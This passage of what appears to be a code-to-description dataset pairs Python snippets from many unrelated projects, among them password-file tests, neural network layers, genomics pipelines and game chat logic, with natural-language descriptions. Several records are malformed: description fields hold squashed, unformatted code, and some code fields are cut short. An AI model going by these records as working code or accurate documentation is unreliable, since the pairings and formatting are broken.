\"realm5\"))self.assertEqual(ht.to_string(), self.sample_02)# invalid userself.assertRaises(ValueError, ht.delete, \"user:\", \"realm\")# invalid realmself.assertRaises(ValueError, ht.delete, \"user\", \"realm:\")def test_01_delete_autosave(self):path = self.mktemp()set_file(path, self.sample_01)ht = apache.HtdigestFile(path)self.assertTrue(ht.delete(\"user1\", \"realm\"))self.assertFalse(ht.delete(\"user3\", \"realm5\"))self.assertFalse(ht.delete(\"user5\", \"realm\"))self.assertEqual(get_file(path), self.sample_01)ht.autosave = Trueself.assertTrue(ht.delete(\"user2\", \"realm\"))self.assertEqual(get_file(path), self.sample_02)def test_02_set_password(self):test update()"} {"code": "def __init__(self, growth_rate, nlayers):\n", "nl": "Description:one dense block from the densely connected CNN (Densely ConnectedConvolutional Networks https://arxiv.org/abs/1608.06993)Args:growth_rate (int): number of filters to grow inside one denseblocknlayers (int): number of layers in one block, one layer refers toone group of batchnorm, relu and conv2d"} {"code": "def getTabbedPane(self):\n f = tabbedPaneFragment()\n f.setFragmentParent(self)\n return f\n athena.expose(getTabbedPane)\n\n\n", "nl": "Return a L{TabbedPaneFragment}."} {"code": "def del_mucroom(self):\n pass\n", "nl": "Dummy method to prevent deletion.passdef set_mucnick(self, value):Dummy method to prevent modification."} {"code": "def guess_problem_type(key):\n num_values = len(key.unique())\n if num_values == 2:\n return \"binary\"\n elif (num_values > 2) and (num_values < 100):\n return \"multiclass\"\n else:\n return \"regression\"\n\n", "nl": "Infers the problem type, using the key dataframe:param key: the answer dataframe:return: Inferred Problem Type"} {"code": "def format_global_leaderboard(members: List[Member]) -> str:\n", "nl": "Returns a string representing the global leaderboard of the given list.Full leaderboard includes rank, global points, and username."} {"code": "def prepare_intervals(data, region_file, work_dir):\n target_file = os.path.join(work_dir, \"%s-target.interval_list\" % dd.get_sample_name(data))\n if not utils.file_uptodate(target_file, region_file):\n with file_transaction(data, target_file) as tx_out_file:\n params = [\"-T\", \"PreprocessIntervals\", \"-R\", dd.get_ref_file(data),\n \"--interval-merging-rule\", \"OVERLAPPING_ONLY\",\n \"-O\", tx_out_file]\n if dd.get_coverage_interval(data) == \"genome\":\n params += [\"--bin-length\", \"1000\", \"--padding\", \"0\"]\n else:\n params += [\"-L\", region_file, \"--bin-length\", \"0\", \"--padding\", \"250\"]\n _run_with_memory_scaling(params, tx_out_file, data)\n return target_file\n", "nl": "Prepare interval regions for targeted and gene based regions."} {"code": "def create(parallel, dirs, config):\n profile_dir = utils.safe_makedir(os.path.join(dirs[\"work\"], get_log_dir(config), \"ipython\"))\n has_mincores = any(x.startswith(\"mincores=\") for x in parallel[\"resources\"])\n cores = min(_get_common_cores(config[\"resources\"]), parallel[\"system_cores\"])\n if cores > 1 and not has_mincores:\n adj_cores = max(1, int(math.floor(cores * float(parallel.get(\"mem_pct\", 1.0)))))\n if cores > parallel[\"cores\"]:\n cores = parallel[\"cores\"]\n elif adj_cores > parallel[\"num_jobs\"] * parallel[\"cores_per_job\"]:\n cores = parallel[\"num_jobs\"] * parallel[\"cores_per_job\"]\n else:\n cores = adj_cores\n cores = per_machine_target_cores(cores, parallel[\"num_jobs\"])\n parallel[\"resources\"].append(\"mincores=%s\" % cores)\n return ipython_cluster.cluster_view(parallel[\"scheduler\"].lower(), parallel[\"queue\"],\n parallel[\"num_jobs\"], parallel[\"cores_per_job\"],\n profile=profile_dir, start_wait=parallel[\"timeout\"],\n extra_params={\"resources\": parallel[\"resources\"],\n \"mem\": parallel[\"mem\"],\n \"tag\": parallel.get(\"tag\"),\n \"run_local\": parallel.get(\"run_local\"),\n \"local_controller\": parallel.get(\"local_controller\")},\n retries=parallel.get(\"retries\"))\n", "nl": "Create a cluster based on the provided parallel arguments.Returns an IPython view on the cluster, enabling processing on jobs.Adds a mincores specification if he have machines with a largernumber of cores to allow jobs to be batched together for sharedmemory usage."} {"code": "def close(self):\n Return all outgoing connections for the indicated component.\n\n \"\"\"", "nl": "Destroy the scene by removing all its components.def destroy(comp):for child in comp.children:destroy(child)comp.destroy()destroy(get_base().node_manager.wrap(self))get_base().plugin_manager.on_scene_close()# Now remove the root node. If the root node was render, reset base# in order to remove and recreate the default node set.if self.rootNp is get_base().render:get_base().reset()self.rootNp.removeNode()def get_outgoing_connections(self, comp):"} {"code": "def _doToggleRegEx(self, theState):\n self.isRegEx = theState\n return\n", "nl": "Enable/disable regular expression search mode."} {"code": "def test_add_to_set_conflict(self):\n p = Post('a', 'b', 0)\n p.add_(tags='a')\n self.assertEqual(p.tags, set(['a']))\n", "nl": " Concurrent add to set with raise_on_conflict=True works p = Post('a', 'b', 0)self.engine.save(p)p2 = self.engine.scan(Post).first()p.add_(tags='a')p2.add_(tags=set(['b', 'c']))p.sync()p2.sync(raise_on_conflict=True)self.assertEqual(p2.tags, set(['a', 'b', 'c']))def test_add_to_set_presync(self): Adding to a set should update local model value "} {"code": "def expected(count, w):\n for i in range(count)]\n s += ['''\\\n s[0] = ' 2' + s[0][3:]\n return ''.join(s)\n\n for i in range(1, 5):\n self.do_disassembly_test(func(i), expected(i, 4))\n self.do_disassembly_test(func(1249), expected(1249, 4))\n self.do_disassembly_test(func(1250), expected(1250, 5))\n", "nl": "s = [\\%*d LOAD_FAST 0 (x)%*d LOAD_CONST 1 (1)%*d BINARY_ADD%*d STORE_FAST 0 (x) % (w, 8*i, w, 8*i + 2, w, 8*i + 4, w, 8*i + 6)"} {"code": "def get_container(self, name_ext_tuples, converters=None):\n name = TestDataReader.make_file_from_ext(self.df_train, extension)\n\n df_read = DataReader.read_from_file(name,\n converters={'id': str, 'candidate': str})\n\n self.filepaths.append(name)\n\n assert_frame_equal(self.df_train, df_read)\n", "nl": "Get DataContainer object from a list of (name, ext) tuples.names_ = []paths_ = []for name, ext in name_ext_tuples:if name == 'train':df = self.df_trainelif name == 'test':df = self.df_testelif name == 'feature_specs':df = self.df_specselse:df = self.df_otherpath = TestDataReader.make_file_from_ext(df, ext)names_.append(name)paths_.append(path)reader = DataReader(paths_, names_, converters)container = reader.read()self.filepaths.extend(paths_)return containerdef check_read_from_file(self, extension):Test whether ``read_from_file()`` works as expected."} {"code": "def cleanup(self):\n super(EmulatedLVM, self).cleanup()\n if self.params.get(\"remove_emulated_image\", \"no\") == \"yes\":\n emulate_image_file = self.get_emulate_image_name()\n cmd = \"losetup -j %s\" % emulate_image_file\n output = process.run(cmd).stdout_text\n devices = re.findall(\"(/dev/loop\\d+)\", output, re.M | re.I)\n for dev in devices:\n cmd = \"losetup -d %s\" % dev\n LOG.info(\"disconnect %s\", dev)\n process.system(cmd, ignore_status=True)\n emulate_image_file = self.get_emulate_image_name()\n cmd = \"rm -f %s\" % emulate_image_file\n process.system(cmd, ignore_status=True)\n LOG.info(\"remove emulate image file %s\", emulate_image_file)", "nl": "Cleanup created logical volumes;"} {"code": "def urlparts(self):\n env = self.environ\n http = env.get('HTTP_X_FORWARDED_PROTO') or env.get('wsgi.url_scheme', 'http')\n host = env.get('HTTP_X_FORWARDED_HOST') or env.get('HTTP_HOST')\n if not host:\n host = env.get('SERVER_NAME', '127.0.0.1')\n port = env.get('SERVER_PORT')\n if port and port != ('80' if http == 'http' else '443'):\n host += ':' + port\n path = urlquote(self.fullpath)\n return UrlSplitResult(http, host, path, env.get('QUERY_STRING'), '')\n\n @property", "nl": " The :attr:`url` string as an :class:`urlparse.SplitResult` tuple.The tuple contains (scheme, host, path, query_string and fragment),but the fragment is always empty because it is not visible to theserver. "} {"code": "def _baseAssertEqual(self, first, second, msg=None):\n operator.\n \"\"\"", "nl": "The default assertEqual implementation, not type specific.if not first == second:standardMsg = '%s != %s' % _common_shorten_repr(first, second)msg = self._formatMessage(msg, standardMsg)raise self.failureException(msg)def assertEqual(self, first, second, msg=None):Fail if the two objects are unequal as determined by the '=='"} {"code": "def test___repr__(self):\n", "nl": "Check that the repr() of os.environ looks like environ({...}).env = os.environself.assertEqual(repr(env), 'environ({{{}}})'.format(', '.join('{!r}: {!r}'.format(key, value)for key, value in env.items())))def test_get_exec_path(self):defpath_list = os.defpath.split(os.pathsep)test_path = ['/monty', '/python', '', '/flying/circus']test_env = {'PATH': os.pathsep.join(test_path)}saved_environ = os.environtry:os.environ = dict(test_env)# Test that defaulting to os.environ works.self.assertSequenceEqual(test_path, os.get_exec_path())self.assertSequenceEqual(test_path, os.get_exec_path(env=None))finally:os.environ = saved_environ# No PATH environment variableself.assertSequenceEqual(defpath_list, os.get_exec_path({}))# Empty PATH environment variableself.assertSequenceEqual(('',), os.get_exec_path({'PATH':''}))# Supplied PATH environment variableself.assertSequenceEqual(test_path, os.get_exec_path(test_env))if os.supports_bytes_environ:# env cannot contain 'PATH' and b'PATH' keystry:# ignore BytesWarning warningwith warnings.catch_warnings(record=True):mixed_env = {'PATH': '1', b'PATH': b'2'}except BytesWarning:# mixed_env cannot be created with python -bbpasselse:self.assertRaises(ValueError, os.get_exec_path, mixed_env)# bytes key and/or valueself.assertSequenceEqual(os.get_exec_path({b'PATH': b'abc'}),['abc'])self.assertSequenceEqual(os.get_exec_path({b'PATH': 'abc'}),['abc'])self.assertSequenceEqual(os.get_exec_path({'PATH': b'abc'}),['abc'])@unittest.skipUnless(os.supports_bytes_environ,\"os.environb required for this test.\")def test_environb(self):# os.environ -> os.environbvalue = 'euro\\u20ac'try:value_bytes = value.encode(sys.getfilesystemencoding(),'surrogateescape')except UnicodeEncodeError:msg = \"U+20AC character is not encodable to %s\" % (sys.getfilesystemencoding(),)self.skipTest(msg)os.environ['unicode'] = valueself.assertEqual(os.environ['unicode'], value)self.assertEqual(os.environb[b'unicode'], value_bytes)# os.environb -> os.environvalue = b'\\xff'os.environb[b'bytes'] = valueself.assertEqual(os.environb[b'bytes'], value)value_str = value.decode(sys.getfilesystemencoding(), 'surrogateescape')self.assertEqual(os.environ['bytes'], value_str)# On OS X < 10.6, unsetenv() doesn't return a value (bpo-13415).@support.requires_mac_ver(10, 6)def test_unset_error(self):if sys.platform == \"win32\":# an environment variable is limited to 32,767 characterskey = 'x' * 50000self.assertRaises(ValueError, os.environ.__delitem__, key)else:# \"=\" is not allowed in a variable namekey = 'key='self.assertRaises(OSError, os.environ.__delitem__, key)def test_key_type(self):missing = 'missingkey'self.assertNotIn(missing, os.environ)with self.assertRaises(KeyError) as cm:os.environ[missing]self.assertIs(cm.exception.args[0], missing)self.assertTrue(cm.exception.__suppress_context__)with self.assertRaises(KeyError) as cm:del os.environ[missing]self.assertIs(cm.exception.args[0], missing)self.assertTrue(cm.exception.__suppress_context__)def _test_environ_iteration(self, collection):iterator = iter(collection)new_key = \"__new_key__\"next(iterator) # start iteration over os.environ.items# add a new key in os.environ mappingos.environ[new_key] = \"test_environ_iteration\"try:next(iterator) # force iteration over modified mappingself.assertEqual(os.environ[new_key], \"test_environ_iteration\")finally:del os.environ[new_key]def test_iter_error_when_changing_os_environ(self):self._test_environ_iteration(os.environ)def test_iter_error_when_changing_os_environ_items(self):self._test_environ_iteration(os.environ.items())def test_iter_error_when_changing_os_environ_values(self):self._test_environ_iteration(os.environ.values())class WalkTests(unittest.TestCase):Tests for os.walk()."} {"code": "def get_release_version() -> str:\n pyproject = toml.load(\"../../pyproject.toml\")\n return pyproject[\"tool\"][\"poetry\"][\"version\"]\n\n\n\nproject = \"tracarbon\"\ncopyright = \"2022 Tracarbon contributors\"\nauthor = \"Florian Valeye\"\nversion = get_release_version()\n\n\nextensions = [\"sphinx.ext.autodoc\", \"edit_on_github\"]\nautodoc_typehints = \"description\"\nnitpicky = True\nnitpick_ignore = [\n (\"py:class\", \"datetime.datetime\"),\n (\"py:class\", \"datadog.threadstats.base.ThreadStats\"),\n (\"py:class\", \"threading.Event\"),\n]\n\ntemplates_path = [\"_templates\"]\n\n\nexclude_patterns = []\n\n\n\nhtml_theme = \"pydata_sphinx_theme\"\nhtml_logo = \"../../logo.png\"\nhtml_favicon = \"../../logo.png\"\nhtml_theme_options = {\n \"external_links\": [],\n \"github_url\": \"https://github.com/fvaleye/tracarbon\",\n}\n", "nl": "Get the release version from the pyproject.toml file:return:"} {"code": "def considerUnderstandable(self):\n speed = 0\n if self.playerType in (NametagGroup.CCNormal, NametagGroup.CCFreeChat, NametagGroup.CCSpeedChat):\n self.setPlayerType(NametagGroup.CCSpeedChat)\n speed = 1\n if hasattr(base,'localAvatar') and self == base.localAvatar:\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCFreeChat)\n elif self.playerType == NametagGroup.CCSuit:\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCSuit)\n elif self.playerType not in (NametagGroup.CCNormal, NametagGroup.CCFreeChat, NametagGroup.CCSpeedChat):\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCNoChat)\n elif hasattr(base,'localAvatar') and (self.commonChatFlags & base.localAvatar.commonChatFlags & OTPGlobals.CommonChat):\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCFreeChat)\n elif self.commonChatFlags & OTPGlobals.SuperChat:\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCFreeChat)\n elif hasattr(base,'localAvatar') and (base.localAvatar.commonChatFlags & OTPGlobals.SuperChat):\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCFreeChat)\n elif base.cr.getFriendFlags(self.doId) & OTPGlobals.FriendChat:\n self.understandable = 1\n self.setPlayerType(NametagGroup.CCFreeChat)\n elif base.cr.playerFriendsManager.findPlayerIdFromAvId(self.doId) is not None:\n playerInfo = base.cr.playerFriendsManager.findPlayerInfoFromAvId(self.doId)\n if playerInfo.openChatFriendshipYesNo:\n self.understandable = 1\n self.nametag.setColorCode(NametagGroup.CCFreeChat)\n elif playerInfo.isUnderstandable():\n self.understandable = 1\n else:\n self.understandable = 0\n elif hasattr(base,'localAvatar') and (self.whitelistChatFlags & base.localAvatar.whitelistChatFlags):\n self.understandable = 1\n else:\n self.understandable = 0\n\n if not hasattr(self,'nametag'):\n self.notify.warning('no nametag attributed, but would have been used')\n else:\n self.nametag.setColorCode(self.playerType)\n", "nl": "Updates the \"understandable\" flag according to whether thelocal toon has permission to hear this avatar's chat messagesor not (and vice-versa).Some of this code is duplicated in FriendHandle.isUnderstandable()."} {"code": "def prepare_model_hierachy(self, cfg):", "nl": "Create a dict which lists all child classes for each Model.Flatens the full hierachy for each Model."} {"code": "def _isurl(self, path):\n\n Creates a copy of the file in the datasource cache.\n\n \"\"\"", "nl": "Test if path is a net location. Tests the scheme and netloc.# We do this here to reduce the 'import numpy' initial import time.if sys.version_info[0] >= 3:from urllib.parse import urlparseelse:from urlparse import urlparse# BUG : URLs require a scheme string ('http://') to be used.# www.google.com will fail.# Should we prepend the scheme for those that don't have it and# test that also? Similar to the way we append .gz and test for# for compressed versions of files.scheme, netloc, upath, uparams, uquery, ufrag = urlparse(path)return bool(scheme and netloc)def _cache(self, path):Cache the file specified by path."} {"code": "def active_appointments(request: HttpRequest) -> HttpResponse:\n today = datetime.date.today()\n slack = 14\n non_continuing = RARequest.objects.filter(deleted=False, unit__in=request.units, hiring_category=\"NC\", complete=True, draft=False, start_date__lte=today + datetime.timedelta(days=slack), end_date__gte=today - datetime.timedelta(days=slack))\n research_assistant = RARequest.objects.filter(deleted=False, unit__in=request.units, hiring_category=\"RA\", complete=True, draft=False, start_date__lte=today + datetime.timedelta(days=slack), end_date__gte=today - datetime.timedelta(days=slack))\n graduate_research_assistant = RARequest.objects.filter(deleted=False, unit__in=request.units, hiring_category=\"GRAS\", complete=True, draft=False, start_date__lte=today + datetime.timedelta(days=slack), end_date__gte=today - datetime.timedelta(days=slack))\n return render(request, 'ra/dashboards/active_appointments.html', {'non_continuing': non_continuing, 'research_assistant': research_assistant, 'graduate_research_assistant': graduate_research_assistant })\n\n@_can_view_ra_requests()", "nl": "View to see all RA appointments that are currently active"} {"code": "def nipy_spectral():\n set_cmap(\"nipy_spectral\")\n\n_setup_pyplot_info_docstrings()", "nl": "Set the colormap to \"nipy_spectral\".This changes the default colormap as well as the colormap of the currentimage if there is one. See ``help(colormaps)`` for more information."} {"code": "def __call__(self, inputs, state, scope=None):\n", "nl": "Run the cell on embedded inputs.with tf.variable_scope(scope or type(self).__name__): # \"EmbeddingWrapper\"with tf.device(\"/cpu:0\"):if self._embedding:embedding = self._embeddingelse:if self._initializer:initializer = self._initializerelif tf.get_variable_scope().initializer:initializer = tf.get_variable_scope().initializerelse:# Default initializer for embeddings should have variance=1.sqrt3 = math.sqrt(3) # Uniform(-sqrt(3), sqrt(3)) has variance=1.initializer = tf.random_uniform_initializer(-sqrt3, sqrt3)embedding = tf.get_variable(\"embedding\", [self._embedding_classes,self._cell.input_size],initializer=initializer)embedded = tf.nn.embedding_lookup(embedding, tf.reshape(inputs, [-1]))return self._cell(embedded, state)class MultiRNNCell(RNNCell):RNN cell composed sequentially of multiple simple cells."} {"code": "def frame_number(self) -> int:\n if self._frame:\n return self.position.frame_num + 1\n return 0\n\n @property", "nl": "Current position within stream as the frame number.Will return 0 until the first frame is `read`."} {"code": "def PropertyWrapper(prop):\n\n This metaclass inherits from db.PropertiedClass in the appengine library.\n This metaclass has two additional purposes:\n 1) Register each model class created with Django (the parent class will take\n care of registering it with the appengine libraries).\n 2) Add the (minimum number) of attributes and methods to make Django believe\n the class is a normal Django model.\n\n The resulting classes are still not generally useful as Django classes and\n are intended to be used by Django only in limited situations such as loading\n and dumping fixtures.\n \"\"\"", "nl": "Wrapper for db.Property to make it look like a Django model Propertyif isinstance(prop, db.Reference):prop.rel = Relation(prop.reference_class)else:prop.rel = Noneprop.serialize = True# NOTE(termie): These are rather useless hacks to get around Django changing# their approach to \"fields\" and breaking encapsulation a bit,def _get_val_from_obj(obj):if obj:return getattr(obj, prop.name)else:return prop.default_value()def value_to_string(obj):if obj:return str(getattr(obj, prop.name))else:return str(prop.default_value())prop._get_val_from_obj = _get_val_from_objprop.value_to_string = value_to_stringreturn propclass PropertiedClassWithDjango(db.PropertiedClass):Metaclass for the combined Django + App Engine model class."} {"code": "def test_is_consecutive_simple_unsorted_list_duplicates():\n test = [0, 1, 4, 3, 3, 2, 5]\n\n expected = False\n actual = generic_utils.is_consecutive(test)\n\n assert actual == expected\n", "nl": "Asserts that `generic_utils.is_consecutive()` returns the expected value when passed asimple unsorted list with duplicates."} {"code": "def list_scheduled_apps(zkclient):\n running = zkclient.get_children(z.RUNNING)\n return running\n\n", "nl": "List all scheduled apps.scheduled = zkclient.get_children(z.SCHEDULED)return scheduleddef list_running_apps(zkclient):List all scheduled apps."} {"code": "def read(self, size=None):\n if self._pos >= self.limit:\n return self.on_exhausted()\n if size is None or size == -1:\n size = self.limit\n to_read = min(self.limit - self._pos, size)\n try:\n read = self._read(to_read)\n except (IOError, ValueError):\n return self.on_disconnect()\n if to_read and len(read) != to_read:\n return self.on_disconnect()\n self._pos += len(read)\n return read\n", "nl": "Read `size` bytes or if size is not provided everything is read.:param size: the number of bytes read."} {"code": "default \"polymorphic\" query.", "nl": "@_memoized_configured_propertydef _insert_cols_evaluating_none(self):return dict((table,frozenset(col for col in columnsif col.type.should_evaluate_none))for table, columns in self._cols_by_table.items())@_memoized_configured_propertydef _insert_cols_as_none(self):return dict((table,frozenset(col.key for col in columnsif not col.primary_key andnot col.server_default and not col.defaultand not col.type.should_evaluate_none))for table, columns in self._cols_by_table.items())@_memoized_configured_propertydef _propkey_to_col(self):return dict((table,dict((self._columntoproperty[col].key, col)for col in columns))for table, columns in self._cols_by_table.items())@_memoized_configured_propertydef _pk_keys_by_table(self):return dict((table,frozenset([col.key for col in pks]))for table, pks in self._pks_by_table.items())@_memoized_configured_propertydef _pk_attr_keys_by_table(self):return dict((table,frozenset([self._columntoproperty[col].key for col in pks]))for table, pks in self._pks_by_table.items())@_memoized_configured_propertydef _server_default_cols(self):return dict((table,frozenset([col.key for col in columnsif col.server_default is not None]))for table, columns in self._cols_by_table.items())@_memoized_configured_propertydef _server_default_plus_onupdate_propkeys(self):result = set()for table, columns in self._cols_by_table.items():for col in columns:if ((col.server_default is not None orcol.server_onupdate is not None) and col in self._columntoproperty):result.add(self._columntoproperty[col].key)return result@_memoized_configured_propertydef _server_onupdate_default_cols(self):return dict((table,frozenset([col.key for col in columnsif col.server_onupdate is not None]))for table, columns in self._cols_by_table.items())@propertydef selectable(self):The :func:`.select` construct this :class:`.Mapper` selects from"} {"code": "def to_json(self):\n msg = 'Sorry, there is already an account with the same e-mail.'\n if user.info:\n if user.info.get('google_token'):\n msg += \" It seems like you signed up with your Google account.\"\n msg += \"
You can try and sign in by clicking in the Google button.\"\n return (msg, 'google')\n elif user.info.get('facebook_token'):\n msg += \" It seems like you signed up with your Facebook account.\"\n msg += \"
You can try and sign in by clicking in the Facebook button.\"\n return (msg, 'facebook')\n elif user.info.get('twitter_token'):\n msg += \" It seems like you signed up with your Twitter account.\"\n msg += \"
You can try and sign in by clicking in the Twitter button.\"\n return (msg, 'twitter')\n else:\n msg += \" It seems that you created an account locally.\"\n msg += \"
You can reset your password if you don't remember it.\"\n return (msg, 'local')\n else:\n msg += \" It seems that you created an account locally.\"\n msg += \"
You can reset your password if you don't remember it.\"\n return (msg, 'local')\n\n", "nl": "Return the object in JSON format.return dict(page=self.page,per_page=self.per_page,total=self.total_count,next=self.has_next,prev=self.has_prev)def get_user_signup_method(user):Return which OAuth sign up method the user used."} {"code": "def paintGL(self, region=None, viewport=None, useItemNames=False):\n if viewport is None:\n glViewport(*self.getViewport())\n else:\n glViewport(*viewport)\n self.setProjection(region=region)\n self.setModelview()\n bgcolor = self.opts['bgcolor']\n glClearColor(*bgcolor)\n glClear( GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT )\n self.drawItemTree(useItemNames=useItemNames)\n", "nl": "viewport specifies the arguments to glViewport. If None, then we use self.opts['viewport']region specifies the sub-region of self.opts['viewport'] that should be rendered.Note that we may use viewport != self.opts['viewport'] when exporting."} {"code": "def ssn(self) -> str:", "nl": "Returns a 9 digits Dutch SSN called \"burgerservicenummer (BSN)\".the Dutch \"burgerservicenummer (BSN)\" needs to pass the \"11-proef\",which is a check digit approach; this function essentially reversesthe checksum steps to create a random valid BSN (which is 9 digits)."} {"code": "def delete(self):\n if not self.id:\n raise InvalidObjectError(\"missing feed ID\")\n\n url = \"/threathunter/feedmgr/v2/orgs/{}/feeds/{}\".format(\n self._cb.credentials.org_key,\n self.id\n )\n self._cb.delete_object(url)\n", "nl": "Deletes this feed from the Enterprise EDR server.:raise InvalidObjectError: if `id` is missing"} {"code": "def test_pdf(mock_osp):\n\n path = mock_osp.add_file(content='text', ftype='pdf')\n syllabus = Syllabus(path)\n\n assert syllabus.text.strip() == 'text'\n\n\n@requires_tika", "nl": "Should extract text from PDF files."} {"code": "def test_positive_and_min_value_incompatible(self):\n\n expected_message = \"Cannot combine positive=True with negative or zero min_value\"\n with self.assertRaises(ValueError) as raises:\n self.fake.pyfloat(min_value=-100, positive=True)\n\n message = str(raises.exception)\n self.assertEqual(message, expected_message)\n", "nl": "An exception should be raised if positive=True is set, buta negative min_value is provided."} {"code": "def forward(self, input, target):\n target = target.long()\n\n\n with torch.no_grad():\n index = torch.zeros_like(input[0])\n index.scatter_(1, target.data.view(-1, 1), 1)\n index = index.bool()\n\n output = input[0] * 1.0\n output[index] -= input[0][index] * 1.0\n output[index] += input[1][index] * 1.0\n\n loss = self.m_loss(output, target)\n\n return loss\n\nif __name__ == \"__main__\":\n print(\"Definition of Am-softmax loss\")", "nl": "input:------input: tuple of tensors ((batchsie, out_dim), (batchsie, out_dim))output from AMAngleLayertarget: tensor (batchsize)tensor of target indexoutput:------loss: scalar"} {"code": "def hide_view(self):\n if self._current_view is None:\n return\n\n self._current_view.on_hide_view()\n if self._current_view.has_sections:\n self._current_view.section_manager.on_hide_view()\n self.remove_handlers(self._current_view.section_manager)\n self.remove_handlers(self._current_view)\n self._current_view = None\n", "nl": "Hide the currently active view (if any) returning usback to ``on_draw`` and ``on_update`` functions in the window.This is not necessary to call if you are switching views.Simply call ``show_view`` again."} {"code": "def _readMeta(fd):\n meta = u''\n while True:\n line = fd.readline().strip()\n if line == '':\n break\n meta += line\n ret = eval(meta)\n return ret\n", "nl": "Read meta array from the top of a file. Read lines until a blank line is reached.This function should ideally work for ALL versions of MetaArray."} {"code": "def test_existingWork(self):\n waiter = threading.Lock()\n waiter.acquire()\n\n tp = threadpool.ThreadPool(0, 1)\n tp.callInThread(waiter.release)\n tp.start()\n\n try:\n self._waitForLock(waiter)\n finally:\n tp.stop()\n\n", "nl": "Work added to the threadpool before its start should be executed oncethe threadpool is started: this is ensured by trying to release a lockpreviously acquired."} {"code": "def validate(self):\n for method in inspect.getmembers(self, predicate=inspect.ismethod):\n if method[0].startswith(\"_validate_\"):\n method[1]()\n\n\n\n@attr.s(repr=False, init=False)\nclass Signable(ValidationMixin):\n \"\"\"Objects with base class Signable are to be included in a Metablock class\n", "nl": "Validates attributes of the instance.Raises:securesystemslib.formats.FormatError: An attribute value is invalid."} {"code": "def _onCommand(self, client, userdata, pahoMessage):\n try:\n command = Command(pahoMessage, self._messageCodecs)\n except InvalidEventException as e:\n self.logger.critical(str(e))\n else:\n self.logger.debug(\"Received device command '%s'\" % (command.commandId))\n if self.commandCallback:\n self.commandCallback(command)\n", "nl": "Internal callback for device command messages, parses source device from topic string andpasses the information on to the registered device command callback"} {"code": "def inference(images, keep_probability, phase_train=True, weight_decay=0.0):\n endpoints = {}\n net = network.conv(images, 3, 64, 7, 7, 2, 2, 'SAME', 'conv1_7x7', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['conv1'] = net\n net = network.mpool(net, 3, 3, 2, 2, 'SAME', 'pool1')\n endpoints['pool1'] = net\n net = network.conv(net, 64, 64, 1, 1, 1, 1, 'SAME', 'conv2_1x1', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['conv2_1x1'] = net\n net = network.conv(net, 64, 192, 3, 3, 1, 1, 'SAME', 'conv3_3x3', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['conv3_3x3'] = net\n net = network.mpool(net, 3, 3, 2, 2, 'SAME', 'pool3')\n endpoints['pool3'] = net\n\n net = network.inception(net, 192, 1, 64, 96, 128, 16, 32, 3, 32, 1, 'MAX', 'incept3a', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept3a'] = net\n net = network.inception(net, 256, 1, 64, 96, 128, 32, 64, 3, 64, 1, 'MAX', 'incept3b', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept3b'] = net\n net = network.inception(net, 320, 2, 0, 128, 256, 32, 64, 3, 0, 2, 'MAX', 'incept3c', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept3c'] = net\n\n net = network.inception(net, 640, 1, 256, 96, 192, 32, 64, 3, 128, 1, 'MAX', 'incept4a', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept4a'] = net\n net = network.inception(net, 640, 1, 224, 112, 224, 32, 64, 3, 128, 1, 'MAX', 'incept4b', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept4b'] = net\n net = network.inception(net, 640, 1, 192, 128, 256, 32, 64, 3, 128, 1, 'MAX', 'incept4c', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept4c'] = net\n net = network.inception(net, 640, 1, 160, 144, 288, 32, 64, 3, 128, 1, 'MAX', 'incept4d', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept4d'] = net\n net = network.inception(net, 640, 2, 0, 160, 256, 64, 128, 3, 0, 2, 'MAX', 'incept4e', phase_train=phase_train, use_batch_norm=True)\n endpoints['incept4e'] = net\n\n net = network.inception(net, 1024, 1, 384, 192, 384, 48, 128, 3, 128, 1, 'MAX', 'incept5a', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept5a'] = net\n net = network.inception(net, 1024, 1, 384, 192, 384, 48, 128, 3, 128, 1, 'MAX', 'incept5b', phase_train=phase_train, use_batch_norm=True, weight_decay=weight_decay)\n endpoints['incept5b'] = net\n net = network.apool(net, 7, 7, 1, 1, 'VALID', 'pool6')\n endpoints['pool6'] = net\n net = tf.reshape(net, [-1, 1024])\n endpoints['prelogits'] = net\n net = tf.nn.dropout(net, keep_probability)\n endpoints['dropout'] = net\n\n return net, endpoints", "nl": " Define an inference network for face recognition basedon inception modules using batch normalizationArgs:images: The images to run inference on, dimensions batch_size x height x width x channelsphase_train: True if batch normalization should operate in training mode"} {"code": "def get_pep_518_info(self):\n if os.path.isfile(self.pyproject_toml):\n with open(self.pyproject_toml) as f:\n pp_toml = pytoml.load(f)\n build_sys = pp_toml.get('build-system', {})\n return (build_sys.get('requires', ['setuptools', 'wheel']), True)\n return (['setuptools', 'wheel'], False)\n", "nl": "Get a list of the packages required to build the project, if any,and a flag indicating whether pyproject.toml is present, indicatingthat the build should be isolated.Build requirements can be specified in a pyproject.toml, as describedin PEP 518. If this file exists but doesn't specify buildrequirements, pip will default to installing setuptools and wheel."} {"code": "def __init__(self, central: hm_central.CentralUnit):\n return self._central.available\n\n @property", "nl": "Initialize HomeMatic hub.CallbackEntity.__init__(self)self._central: Final[hm_central.CentralUnit] = centralself.unique_identifier: Final[str] = generate_unique_identifier(central=central, address=HUB_ADDRESS)self.name: Final[str] = central.nameself.syvar_entities: Final[dict[str, GenericSystemVariable]] = {}self.program_entities: Final[dict[str, HmProgramButton]] = {}self._hub_attributes: Final[dict[str, Any]] = {}self.platform: Final[HmPlatform] = HmPlatform.HUB_SENSORself._value: int | None = Noneself.create_in_ha: Final[bool] = Trueself.usage: Final[HmEntityUsage] = HmEntityUsage.ENTITY@propertydef 